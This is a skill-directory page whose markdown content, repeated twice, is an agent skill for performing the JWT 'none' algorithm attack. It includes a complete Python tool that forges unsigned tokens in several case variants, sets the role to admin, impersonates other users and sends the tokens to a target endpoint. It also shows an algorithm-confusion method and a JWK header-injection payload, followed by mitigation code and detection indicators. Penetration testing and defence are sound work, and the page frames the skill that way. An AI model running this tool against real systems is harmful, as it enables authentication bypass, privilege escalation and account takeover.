[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73631N35AVHS80JWD81P7CK":3,"skill-same:01M73631N35AVHS80JWD81P7CK":92},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":57,"ownerHtmlUrl":58,"ownerBlogUrl":59,"ownerDescription":60,"updatedAt":61,"install":62,"resources":75},"01M73631N35AVHS80JWD81P7CK","performing-jwt-none-algorithm-attack",null,"Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-jwt-none-algorithm-attack\ndescription: Execute and test the JWT none algorithm attack to bypass signature verification\n  by manipulating the alg header field in JSON Web Tokens.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- jwt\n- none-algorithm\n- authentication-bypass\n- token-manipulation\n- signature-bypass\n- penetration-testing\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1070\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n","# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n",{"name":5,"note":25,"tags":26,"author":35,"domain":36,"source":37,"license":15,"version":38,"nist_csf":39,"subdomain":44,"description":7,"mitre_attack":45,"source_commit":51},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32,33,34],"jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[40,41,42,43],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","api-security",[46,47,48,49,50],"T1190","T1059.007","T1552.001","T1027","T1070","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa",".claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-jwt-none-algorithm-attack",{"tool":68,"command":69},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-jwt-none-algorithm-attack",{"tool":71,"command":72},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-jwt-none-algorithm-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FSKILL.md",true,[76,80,86],{"path":77,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fapi-reference.md","REFERENCE","参考文档",1710,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002Freferences\u002Fapi-reference.md",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"scripts\u002Fagent.py","SCRIPT","脚本",7096,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002Fscripts\u002Fagent.py",[93,101,108,116,124,132],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":120,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs 